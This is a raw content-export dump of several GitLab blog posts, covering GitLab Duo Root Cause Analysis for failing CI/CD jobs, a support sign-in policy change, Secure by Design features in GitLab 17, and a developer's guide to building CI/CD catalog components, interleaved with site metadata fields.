dealing with similar issues\n- their overall skill level in troubleshooting and problem-solving within the context of the pipeline.\n\nManual analysis can be exceedingly challenging and time-consuming, given that log data consists of application logs and system messages with a wide variety of potential sources of failures. A typical pipeline fix can consist of several iterations and context switching. The complexity and the unstructured nature of the logs is a perfect fit for speeding up the task using generative AI.  Using AI can reduce the time to identify and fix a pipeline error significantly and also lower the barrier of expertise that would be needed to fix a pipeline such as the above.\n\nWatch GitLab Duo Root Cause Analysis in action:\n\n\u003C!-- blank line -->\n\n\u003Cfigure class=\"video_container\">\n\n \u003Ciframe src=\"https://www.youtube.com/embed/sTpSLwX5DIs?si=J6-0Bf6PtYjrHX1K\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\u003C!-- blank line -->\n\n### How does Root Cause Analysis work?\n\n[Root Cause Analysis](https://docs.gitlab.com/ee/user/ai_experiments.html#root-cause-analysis) works by forwarding a portion of the CI/CD job log to the [GitLab AI Gateway](https://docs.gitlab.com/ee/architecture/blueprints/ai_gateway/). GitLab ensures that the portion sent will fit inside the large language model (LLM) token limits alongside a prompt that has been pre-crafted to provide insights into why the job might have failed. The prompt also instructs the LLM to provide an example of how a user might fix a broken job.\n\nHere are two example scenarios where Root Cause Analysis can provide assistance.\n\n#### 1. Analyze a Python dependency error\n\nA Python application can import package modules with functionality that is not provided in the standard library. The project [Challenge - Root Cause Analysis - Python Config](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/root-cause-analysis/challenge-root-cause-analysis-python-config) implements an application that parses configuration and initializes an SQLite database, which both work well without any dependencies. It uses best practices in CI/CD with a Python environment and caching. The latest feature implementation adds a Redis caching client, and now the CI/CD build is failing for some reason. \n\nBy using Root Cause Analysis, you can immediately learn that the `ModuleNotFoundError` text means that the module is actually not installed in the Python environment. GitLab Duo also suggests an example fix: Installing the Redis module through the PIP package manager. \n\n![Image depicting 'modulenotfounderror' and GL Duo suggested resolution](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097332/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097332602.png)\n\nThe failing pipeline can be viewed [here](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/root-cause-analysis/challenge-root-cause-analysis-python-config/-/jobs/6992716398). \n\nThe Root Cause Analysis prompt provides a summary of the problem, which seems to be a problem with a missing `redis` module. Let's try to fix the problem by installing the `redis` module. You can either call `pip install redis` in the CI/CD job `script` section, or use a more sophisticated approach with the `requirements.txt` file. The latter is useful for a single source of truth for dependencies installed in the development environment and CI/CD pipelines.\n\n```yaml\ntest:\n  extends: [.python-req]\n  stage: test \n  before_script:\n    # [🦊] hint: Root cause analysis.\n    # Solution 1: Install redis using pip\n    - pip install redis\n    # Solution 2: Add redis to requirements.txt, use pip\n    - pip install -r requirements.txt \n\n  script:\n    - python src/main.py\n```\n\nAfter fixing the missing Python dependency, the CI/CD job fails again. Use Root Cause Analysis again to learn that no Redis service is running in the job. Switch to using GitLab Duo Chat and use the prompt `How to start a Redis service in CI/CD` to learn how to configure the `services` attribute in the CI/CD job.\n\n![Depicts the prompt for how to start a Redis service](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097333/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097332602.png)\n\nModify the `.gitlab-ci.yml` with the `test` job, and specify the `redis` service.\n\n```yaml\ntest:\n  extends: [.python-req]\n  stage: test \n  before_script:\n    # [🦊] hint: Root cause analysis.\n    # Solution 1: Install redis using pip\n    - pip install redis\n    # Solution 2: Add redis to requirements.txt, use pip\n    - pip install -r requirements.txt \n\n  script:\n    - python src/main.py\n\n  # Solution 3 - Running Redis\n  services:\n    - redis\n```\n\nRunning the Redis server allows you to successfully execute the Python application, and print its output into the CI/CD job log.\n\n![output of Python application](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097332/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097332603.png)\n\nThe solution is provided in the [solution/ directory](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/root-cause-analysis/challenge-root-cause-analysis-python-config/-/tree/main/solution?ref_type=heads).\n\n**Tip:** You can also ask [GitLab Duo Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html) to follow up on potential future problems:\n\n```markdown\nHow to lint Python code? Which tools are recommended for CI/CD.\nHow to pin a package version in Python requirements file?\t\nWhat are possible ways that this exception stacktrace is triggered in the future?\nAre there ways to prevent the application from failing?\n``` \n\nThe next example is more advanced and includes multiple failures. \n\n#### 2. Analyze missing Go runtime\n\nCI/CD jobs can be executed in containers, spawned from the contributed `image` attribute. If the container does not provide a programming language runtime, the executed `script` sections referencing the `go` binary fail. For example, the error message `/bin/sh: eval: line 149: go: not found` needs to be understood and fixed. \n\nIf the `go` command is not found in the container's runtime context, this can have multiple reasons:\n\n1. The job uses a minimal container image, for example `alpine`, and the Go language runtime was not installed.\n1. The job uses the wrong default container image, for example, specified on top of the CI/CD configuration, or using the `default` keyword.\n1. The job does not use a container image but the shell executor. The host operating system does not have the Go language runtime installed, or it is otherwise broken/not configured.\n\nThe project [Challenge - Root Cause Analysis - Go GitLab Release Fetcher](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/root-cause-analysis/challenge-root-cause-analysis-go-gitlab-release-fetcher) provides an exercise challenge to analyze and fix CI/CD problems with a GitLab release fetcher application, written in Go. The `build` and `docker-build` CI/CD jobs are failing. Fixing the problem requires different scopes: Understanding why the Go runtime is not installed, and learning about the `Dockerfile` syntax. \n\n![Screenshot showing Change Docker Label job failed](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097332/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097332603.png)\n\nThe [`solution/` directory](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/root-cause-analysis/challenge-root-cause-analysis-go-gitlab-release-fetcher) provides two possible solutions after Root Cause Analysis. \n\n## Practice using Root Cause Analysis\n\nHere are some scenarios to use to practice using Root Cause Analysis.\n\n- When you are running into Kubernetes deployment errors or timeouts. \n\n- With OpenTofu or Terraform IaC pipelines failing to provision your cloud resources.\n\n- When the Ansible playbook fails with a cryptic permission error in CI/CD.\n\n- When the Java stack trace is 10 pages long.\n\n- With a shell script highlighting an execution error.\n\n- When a Perl script fails in a single line, which is the only line in the script.\n\n- When the CI/CD job times out and it is unclear which section would cause this.\n\n- When a network connection timeout is reached, and you think it cannot be DNS.\n\n### What is next for GitLab Duo Root Cause Analysis?\n\nWe want to help our users to get their pipelines back to passing in fewer iterations. The Root Cause Analysis will open and show the response in GitLab Duo Chat, our AI assistant. Users can build on the recommendation to generate a more precise fix by asking specific questions (e.g., programming language-specific fixes) or asking for alternative fixes based on the root cause.\n\nFor example, here is the Root Cause Analysis for a failing job:\n\n![Root Cause Analysis response](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097332/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097332603.png)\n\nUsers can ask follow-up questions that build upon the AI-generated response.\n\n- I do not want to create my own Docker image. Please explain different ways to fix the problem.\n\n- I don't have access to the Docker image creation. It seems that the Go binary is missing. Are there alternative images you can suggest?\n\nGitLab also will be running quality benchmarks for the generated responses and shipping usability improvements.\n\nPlease see our [Root Cause Analysis GA epic](https://gitlab.com/groups/gitlab-org/-/epics/13080) for more details. We would also love your feedback on the feature. Please leave a comment on our [Root Cause Analysis feedback issue](https://gitlab.com/groups/gitlab-org/-/epics/13872).\n\n## Get started with Root Cause Analysis\n\nPlease see our [documentation](https://docs.gitlab.com/ee/user/ai_experiments.html#root-cause-analysis) on how to enable the feature available to our GitLab Ultimate customers. Also, GitLab Duo Root Cause Analysis will soon be coming to GitLab self-managed and GitLab Dedicated.\n\nNot a GitLab Ultimate customer? Start [a 30-day free trial](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial) today. \n\n## Read more of our \"Developing GitLab Duo\" series\n\n- [Developing GitLab Duo: How we validate and test AI models at scale](https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n\n- [Developing GitLab Duo: AI Impact analytics dashboard measures the ROI of AI](https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n\n- [Developing GitLab Duo: How we are dogfooding our AI features](https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n\n- [Developing GitLab Duo: Secure and thoroughly test AI-generated code](https://about.gitlab.com/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code/)",[790,696,943,479,754],{"slug":5692,"featured":92,"template":678},"developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd","content:en-us:blog:developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd.yml","Developing Gitlab Duo Blending Ai And Root Cause Analysis To Fix Ci Cd","en-us/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd.yml","en-us/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd",{"_path":5698,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5699,"content":5704,"config":5710,"_id":5712,"_type":16,"title":5713,"_source":17,"_file":5714,"_stem":5715,"_extension":20},"/en-us/blog/gitlab-support-to-require-sign-in-to-create-support-tickets",{"title":5700,"description":5701,"ogTitle":5700,"ogDescription":5701,"noIndex":6,"ogImage":831,"ogUrl":5702,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5702,"schema":5703},"GitLab Support to require sign-in to create support tickets","Find out why this change is occurring and what you need to do.","https://about.gitlab.com/blog/gitlab-support-to-require-sign-in-to-create-support-tickets","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Support to require sign-in to create support tickets\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lyle Kozloff\"}],\n        \"datePublished\": \"2024-06-05\",\n      }",{"title":5700,"description":5701,"authors":5705,"heroImage":831,"date":5707,"body":5708,"category":834,"tags":5709},[5706],"Lyle Kozloff","2024-06-05","In line with the changes made last year [requiring support contacts to be pre-listed](https://about.gitlab.com/blog/gitlab-support-requires-contacts-to-be-listed-to-open-support-tickets/), GitLab Support is taking the next step on August 1, 2024, to require sign-in to raise support tickets.\n\n## Why we are making this change\n\nWe’re making this change for a few reasons. This change:\n- Allows GitLab Support to pre-populate known organizational information into tickets, instead of asking customers each time they raise a ticket.\n- Makes for tailored customer support experiences based on the products they have purchased. Rather than showing forms for every product, GitLab Support can emphasize problem types customers will most benefit from.\n\n## What to do following this change\n\nAfter this change, following a customer's first purchase, the purchaser must:\n- Create a log-in to support.gitlab.com following the instructions at [https://gitlab.zendesk.com/auth/v2/login/registration](https://gitlab.zendesk.com/auth/v2/login/registration).\n- Open a ticket to list support contacts or create a contact management project.\n\nThe only change existing customers will experience is the sign-in requirement. If you’ve forgotten or never set a password for your GitLab Support account, you can request a new password from [https://gitlab.zendesk.com/auth/v2/login/password_reset](https://gitlab.zendesk.com/auth/v2/login/password_reset).",[695,2705,736],{"slug":5711,"featured":6,"template":678},"gitlab-support-to-require-sign-in-to-create-support-tickets","content:en-us:blog:gitlab-support-to-require-sign-in-to-create-support-tickets.yml","Gitlab Support To Require Sign In To Create Support Tickets","en-us/blog/gitlab-support-to-require-sign-in-to-create-support-tickets.yml","en-us/blog/gitlab-support-to-require-sign-in-to-create-support-tickets",{"_path":5717,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5718,"content":5723,"config":5727,"_id":5729,"_type":16,"title":5730,"_source":17,"_file":5731,"_stem":5732,"_extension":20},"/en-us/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17",{"title":5719,"description":5720,"ogTitle":5719,"ogDescription":5720,"noIndex":6,"ogImage":4511,"ogUrl":5721,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5721,"schema":5722},"Secure by Design principles meet DevSecOps innovation in GitLab 17","GitLab reinforced a commitment to Secure by Design principles across key aspects of the software development lifecycle in latest release, further protecting the software supply chain.","https://about.gitlab.com/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Secure by Design principles meet DevSecOps innovation in GitLab 17\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Elisabeth Burrows\"}],\n        \"datePublished\": \"2024-06-05\",\n      }",{"title":5719,"description":5720,"authors":5724,"heroImage":4511,"date":5707,"body":5725,"category":674,"tags":5726},[1186],"Secure by Design just [turned one](https://about.gitlab.com/blog/happy-birthday-secure-by-design/)! Introduced by the Cybersecurity and Infrastructure Security Agency (CISA) a little over a year ago, Secure by Design principles serve as a directive for technology providers to embed security at the heart of their products from the outset of development. This approach is the clearest answer to address cyber attacks, dramatically reducing the number of exploitable flaws before they are introduced to the market for broad use or consumption. Cyberattacks can be more prevalent when businesses and vendors “bolt on” security as an afterthought, amplifying the need for Secure by Design solutions. With the launch of [GitLab 17](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/), we have strengthened our commitment to Secure by Design principles across five key aspects of the software development lifecycle. Although no supply chain is 100% immune to cyber threats, it is imperative to embrace a proactive security strategy to protect against persistent threats from malicious actors.\n\n> Discover the future of AI-driven software development with our GitLab 17 virtual launch event. [Watch today!](https://about.gitlab.com/seventeen/)\n\n## How GitLab 17 aligns with Secure by Design principles\n\n### 1. Enhance secure coding practices\n\nFostering secure software development practices is a key element to CISA’s Secure by Design framework. CISA recommends alignment to the [Secure Software Development Framework (SSDF)](https://csrc.nist.gov/pubs/sp/800/218/final) from the National Institute of Standards and Technology (NIST). GitLab’s robust [application security scanners](https://about.gitlab.com/blog/getting-started-with-gitlab-application-security/) demonstrate strong default alignment to this framework. In GitLab 17, we added streamlined Static Application Security Testing ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)) analyzer coverage for more languages, offering a simpler, more customizable scan experience. The recent [acquisition of Oxeye](https://about.gitlab.com/press/releases/2024-03-20-gitlab-acquires-oxeye-to-advance-application-security-and-governance-capabilities/) enhances SAST accuracy, reducing false positives and offering actionable insights to tackle application-layer risks proactively. Other related improvements in GitLab 17 include [API Security Testing analyzer](https://docs.gitlab.com/ee/user/application_security/api_security_testing/) updates, [advanced vulnerability tracking for Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#advanced-vulnerability-tracking), and [Dependency Scanning support for Android](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/index.html#enabling-dependency-scanning-by-using-cicd-components). GitLab also continues to improve its [dynamic software bill of materials (SBOM) management](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/) capabilities.\n\n### 2. Manage vulnerabilities at scale\n\nMalicious actors capitalize on cost-effective tactics, leveraging basic vulnerabilities to cause widespread disruption. GitLab’s [Vulnerability Report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) enables you to quantify risk across your portfolio in a single view, identifying key vulnerability details throughout your supply chain. \nImprovements to [Vulnerability Report filtering](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/#vulnerability-report-filters) in GitLab 17 increased usability of the report at scale. Actionable security findings are vital for developers to address critical weaknesses. GitLab provides [vulnerability insights](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/), [security training for vulnerabilities](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#view-security-training-for-a-vulnerability), and [vulnerability explanation](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-explanation). \n\n### 3. Transition to memory-safe languages with AI\n\nIn a recent [virtual panel with the Atlantic Council](https://www.atlanticcouncil.org/event/the-secure-by-design-imperative/), CISA Senior Technical Advisor Jack Cable stated, “Technology manufacturers must focus on eliminating entire classes of vulnerability, rather than playing “whack-a-mole” with their defects.” In CISA’s [Secure by Design whitepaper](https://www.cisa.gov/sites/default/files/2023-10/SecureByDesign_1025_508c.pdf), they recommend that manufacturers take steps to eliminate one of the largest classes of vulnerabilities by migrating existing products and building new products using memory-safe languages. A memory-safe language is a language where memory allocation and garbage collection are abstracted away from the developer and handled by the programming language itself. Such languages include Python, Java, and Go, to name a few. Vulnerabilities related to memory safety are the most common and dangerous. Technology manufacturers can effectively address vulnerabilities by integrating memory-safe language development practices. [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our suite of AI-powered features, provides AI-accelerated assistance for memory-safe code conversions:\n\n- Accelerate application development: [GitLab Duo Code Explanation](https://docs.gitlab.com/ee/user/ai_features.html#code-explanation-in-the-ide) succinctly articulates code functionality in everyday language, helping developers understand code quickly and add value faster. [GitLab Duo Code Suggestions](https://docs.gitlab.com/ee/user/ai_features.html#code-suggestions) assists developers in writing secure code efficiently and speeding up cycle times by handling repetitive coding tasks effectively.\n- Convert to memory-safe code: [GitLab Duo Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat_examples.html#refactor-code-in-the-ide) can help expedite memory-safe language refactoring by suggesting changes based on coding patterns, libraries, functions, algorithms, programming languages, performance, or vulnerabilities.\n- Secure AI-generated code: [GitLab Duo Vulnerability Explanation](https://docs.gitlab.com/ee/user/ai_features.html#vulnerability-explanation) provides clear insights into identified security issues, while [GitLab Duo Vulnerability Resolution](https://docs.gitlab.com/ee/user/ai_features.html#vulnerability-resolution) can automatically generate a merge request to mitigate a vulnerability. \n\nIn GitLab 17, we also have added the means to validate and track AI impact to your development progress through [AI Impact Analytics](https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/).\n\n### 4. Align to the principle of least privilege\n\nAligning product deployment guides with zero trust architecture, such as the [CISA Zero Trust Maturity Model](https://www.cisa.gov/sites/default/files/2023-04/zero_trust_maturity_model_v2_508.pdf), is a key recommendation in Secure by Design. In zero trust security, the [principle of least privilege (PoLP)](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/0) is a key element within the overarching framework. The PoLP is a concept in which a user's access rights should be limited to the bare minimum needed for them to complete the tasks required within their respective roles. By keeping a tight rein on user access rights, granting only the necessary permissions for their tasks, organizations uphold the core tenet of [zero trust](https://about.gitlab.com/blog/why-devops-and-zero-trust-go-together/). Maintaining a clear separation of duties is the first step in upholding this principle. GitLab's [policy management](https://docs.gitlab.com/ee/administration/compliance.html#policy-management) features empower security and compliance teams to oversee operations while defining responsibilities among security, compliance, legal, and engineering units. By implementing GitLab's [security policies](https://docs.gitlab.com/ee/user/application_security/policies/), development teams gain process flexibility, ensuring the delivery of stable, reliable, and high-quality code. With the ability to establish rules and policies tailored to the organization's unique needs, teams can utilize granular user roles, permissions, and customizable compliance settings for specific projects, groups, and individuals. GitLab 17 introduces enhanced governance controls via [permissions customizations](https://about.gitlab.com/releases/2024/05/16/gitlab-17-0-released/#new-permissions-for-custom-roles), reducing unnecessary privilege escalation.\n\n## How we are committed to Secure by Design principles\n\nOne of the principles of Secure by Design business practices is the notion of leading from the top. It's imperative for organizations to secure executive buy-in that places Secure by Design at the forefront of business priorities, nurturing an environment where security takes precedence. GitLab recently joined the ranks of technology leaders who signed CISA’s [Secure by Design Pledge](https://www.cisa.gov/securebydesign/pledge/statements-of-support#JoshLemosCISOGitLab), showcasing our commitment to uphold CISA’s Secure by Design goals. This public commitment, paired with strategic investments, a culture of transparency, and product designs that prioritize security, fosters a robust security ethos that directly benefits end users. With the launch of GitLab 17, GitLab propels security and compliance solutions forward, harnessing AI advancements to empower clients to embrace a Secure by Design methodology with confidence.\n\n> Get familiar with GitLab's secure-by-design platform today with a [free 30-day trial of GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial). \n",[185,674,479,943],{"slug":5728,"featured":92,"template":678},"secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17","content:en-us:blog:secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17.yml","Secure By Design Principles Meet Devsecops Innovation In Gitlab 17","en-us/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17.yml","en-us/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17",{"_path":5734,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5735,"content":5740,"config":5745,"_id":5747,"_type":16,"title":5748,"_source":17,"_file":5749,"_stem":5750,"_extension":20},"/en-us/blog/a-ci-component-builders-journey",{"title":5736,"description":5737,"ogTitle":5736,"ogDescription":5737,"noIndex":6,"ogImage":2340,"ogUrl":5738,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5738,"schema":5739},"A CI/CD component builder's journey","Learn how a creator of shared, includable templates upskilled by migrating the templates to GitLab CI/CD components and the CI/CD Catalog.","https://about.gitlab.com/blog/a-ci-component-builders-journey","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"A CI/CD component builder's journey\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"}],\n        \"datePublished\": \"2024-06-04\",\n      }",{"title":5736,"description":5737,"authors":5741,"heroImage":2340,"date":5742,"body":5743,"category":813,"tags":5744},[1244],"2024-06-04","I've always found it fascinating that my father, a heavy-duty mechanic by trade, would make his own tools for challenging jobs for which his industry had not yet built a fit-to-purpose tool. Little did I realize I'd become a tool builder in IT, which has been one of my loves for many years now.\n\nI have been building GitLab CI/CD includable, shared templates since starting with GitLab over four years ago. They were designed in a specific way for others to depend directly on them – similar to the dependency managers you see in application languages like Node.js NPM, Python Pypi, and .NET NuGet.\n\nGitLab itself has had long experience in building these shared CI dependencies through [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) and all of our security scanning suite of tools.\n\nWith the introduction of [GitLab CI/CD Catalog](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/), this long-running approach is formalized into a way for everyone to publish GitLab CI/CD components for use by anyone in the world.\n\nSome of they key upgrades compared to the shared templates approach include:\n\n- **Independent component versions** are a new versioning mechanism that no longer relies on inheriting containers versions. GitLab CI/CD component versions bundle together the CI code and any number of containers (or no containers) behind a single CI/CD component version. The concepts of stable, production-grade DevSecOps require the ability to peg dependency versions in automation – for exactly the same reasons and benefits that this is done in production-grade application code.\n\n- **Global visibility (with control)** is available through the catalog at GitLab.com (or global to your company on a self-managed instance). Individual component visibility is also subject to the security settings of it's source project - so you can publish components to secure groups.\n\n- **Catalog metadata,** like most code-sharing mechanisms, is needed data to make decisions about which components to use.\n\n## Let's show some code\n\nI much prefer to show than tell, so let's look at a few component examples - all of which also publish their sources publicly (click on the title to access the component).\n\n### 1. [Hello World](https://gitlab.com/explore/catalog/guided-explorations/ci-components/hello-world)\nI noticed that there was not yet a Hello World component that could show the minimum viable component, both the results and the source. This particular example shows how to \"componentize\" just CI code.\n\n### 2. [Hello World Container](https://gitlab.com/explore/catalog/guided-explorations/ci-components/hello-world-container)\nFrequently a CI/CD component will require a container to be fully functional. This example includes a container that is published in the same project as the component itself.\n\n### 3. [GitVersion Ultimate Auto Semversioning](https://gitlab.com/explore/catalog/guided-explorations/ci-components/ultimate-auto-semversioning)\n\nThis component automates the venerable \"GitVersion\" utility, which completely automates selecting the next semversion for your software without having to store the last version – even for busy repositories where many production-possible candidates are being worked on at once. One of the building principles this component follows is the principle of \"least configuration\" or \"default to doing the most useful thing with zero configuration.\" In this case, if your project does not contain a `GitVersion.yml`, the component creates the one that an individual unfamiliar with GitVersion might find to be the most useful starting point.\n\n### 4. [Amazon CodeGuru Secure SAST Scanner](https://gitlab.com/explore/catalog/guided-explorations/ci-components/aws/amazon-codeguru-secure-sast)\nThis component is a security scanner and, as such, follows some security scanning best practices I have implemented during recent years. For instance, if it detects that you are licensed for GitLab Ultimate, it has the scanner output GitLab's SAST JSON format, which integrates the findings just like native GitLab scanner findings. The findings appear in MRs and dashboards and can be the target of security policy merge approvals. If, however, you are not licensed for GitLab Ultimate, the scanner outputs JUNIT XML so that you have some basic, non-diffed findings visualization in the pipeline \"Test Results\" tab. It also only activates if there are file types it can scan and disables if the GitLab SAST_DISABLED property is turned on.\n\n### 5. [Checkov IaC SAST](https://gitlab.com/explore/catalog/guided-explorations/ci-components/checkov-iac-sast)\nCheckov IaC SAST is another security scanner component that also follows the above security scanner principles, but specifically for the file types it is capable of scanning. A critical best practice of many of these components is pegging container tags for stability - but doing so through a \"component input\" with a default value. This allows component users to test with and peg to a newer or older version than you last tested with. So your shared dependency then offers stability, but with flexibility.\n\n### 6. [Super-Linter](https://gitlab.com/guided-explorations/ci-components/super-linter)\nSuper-Linter is a community-driven conglomeration of many linters for many languages. It originally started life as a GitHub Action, so this particular example demonstrates some of the ease of porting open source GitHub Actions to GitLab CI/CD components. A best practice aspect to many of my components is to always link to working example code with the component in action. This also allows you to do easy testing when performing updates.\n\n### 7. [Kaniko](https://gitlab.com/explore/catalog/guided-explorations/ci-components/kaniko)\nKaniko is a container that can build containers without Docker-in-Docker (DinD) privileged mode requirement. This component supports many OpenContainers labels and multi-arch builds.\n\n### 8. [CI Component Publishing Utilities](https://gitlab.com/explore/catalog/guided-explorations/ci-components/ci-component-pub)\nAs I built more components, I noticed that my \"component publishing CI code\" was being duplicated many times - and that makes it a candidate for becoming a component itself. All the other components here leverage this component. It also uses components itself, so it uses **GitVersion Ultimate Auto Semversioning** to get the next version.\n\nAnd if you're wondering, yes, CI Component Publishing Utilities publishes itself. In many of my components I have expanded the standard \"Inputs\" README section to \"Inputs and Configuration\" and I have added a column to show whether configurations are happening via inputs or variables. While you generally want to favor inputs, there are times when variables give more flexibility or you just want to document that the user can get perform key configurations of the underlying utilities via environment variables that the utility already supports. CI Component Publishing Utilities also uses the **Kaniko** CI component to build a container with the same version if it finds a Dockerfile at the root of your project (or you tell it where one is with a variable). This synchronizes the version of components and containers that support them. It also handles multi-arch container builds - see the documentation linked above to learn more!\n\n## Getting started with component templates\n\nThe Hello World components function as my own personal templates for starting a new component. They incorporate the CI Component Publishing Utilities and a reasonably good README.\n\nFor components that contain only CI code, I start by copying the source of [Hello World](https://gitlab.com/explore/catalog/guided-explorations/ci-components/hello-world) and for ones that require a container, I start with [Hello World Container](https://gitlab.com/explore/catalog/guided-explorations/ci-components/hello-world-container). I generally copy just the source into a new project so that I have a clean commit history.\n\nWhen I feel the component is stable and well developed I do a manual pipeline run and force the version to 1.1.0 or greater. The CI Component Publishing Utilities will then auto-increment the version from there.\n\n## CI component Builders Guides and practices\n\n[Darwins CI Component Builders Guide](https://gitlab.com/guided-explorations/ci-components/gitlab-profile) - I was also interested in publishing my approach to building components and what better way to get visibility than as a CI/CD component? BTW, the [GitLab Pipeline Authoring](https://about.gitlab.com/direction/verify/pipeline_composition/) team that created the CI/CD component architecture and [CI/CD Catalog](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/) has some great best practices published at [CI components best practices](https://docs.gitlab.com/ee/ci/components/#best-practices). The practices I publish reference these ones, but I also have quite a few I follow that are specific to my own lessons learned.\n\n## Finding the CI/CD components and their sources\n\nThe [GitLab CI/CD Catalog](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/) is still undergoing innovation in searchability. However, the description from the source project is free-form searchable, so by including standard text in the descriptions of all my component source projects, I have created the ability for users to [find all of the ones I've created in the catalog](https://gitlab.com/explore/catalog?search=Part+of+the+DarwinJS+Builder+Component+Library).\n\nTo make my component source findable regardless of its location on GitLab.com:\n- I add a repository topic to all the projects called [DarwinJS Component Builder Library](https://gitlab.com/explore/projects/topics/DarwinJS+Component+Builder+Libary).\n- I tag with the organic tag I found called [`GitLab CICD Components`](https://gitlab.com/explore/projects/topics/GitLab+CICD+Components).\n\nBoth of the above techniques can help you provide an index to your components and their source if you are inclined to do so.\n\nI hope that my CI/CD component building journey will be helpful to you now and in the future.\n\n> Learn more about the CI/CD Catalog and components:\n>  \n> - [CI/CD Catalog goes GA: No more building pipelines from scratch](https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch/)\n> \n> - [FAQ: GitLab CI/CD Catalog](https://about.gitlab.com/blog/faq-gitlab-ci-cd-catalog/)\n>\n> - [Documentation: CI/CD components and CI/CD Catalog](https://docs.gitlab.com/ee/ci/components/)\n> \n> - [Introducing CI/CD components and how to use them in GitLab](https://about.gitlab.com/blog/introducing-ci-components/)\n>",[110,1384,1385],{"slug":5746,"featured":6,"template":678},"a-ci-component-builders-journey","content:en-us:blog:a-ci-component-builders-journey.yml","A Ci Component Builders Journey","en-us/blog/a-ci-component-builders-journey.yml","en-us/blog/a-ci-component-builders-journey",{"_path":5752,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":5753,"content":5758,"config":5763,"_id":5765,"_type":16,"title":5766,"_source":17,"_file":5767,"_stem":5768,"_extension":20},"/en-us/blog/developing-gitlab-duo-series",{"title":5754,"description":5755,"ogTitle":5754,"ogDescription":5755,"noIndex":6,"ogImage":4038,"ogUrl":5756,"ogSiteName":1180,"ogType":1181,"canonicalUrls":5756,"schema":5757},"Developing GitLab Duo series","Our unique blog series, written by our Product and Engineering teams, takes you behind the scenes of our AI innovation and guides you through our newest AI features powering your DevSecOps workflow.","https://about.gitlab.com/blog/developing-gitlab-duo-series","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Developing GitLab Duo series\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Team\"}],\n        \"datePublished\": \"2024-06-03\",\n      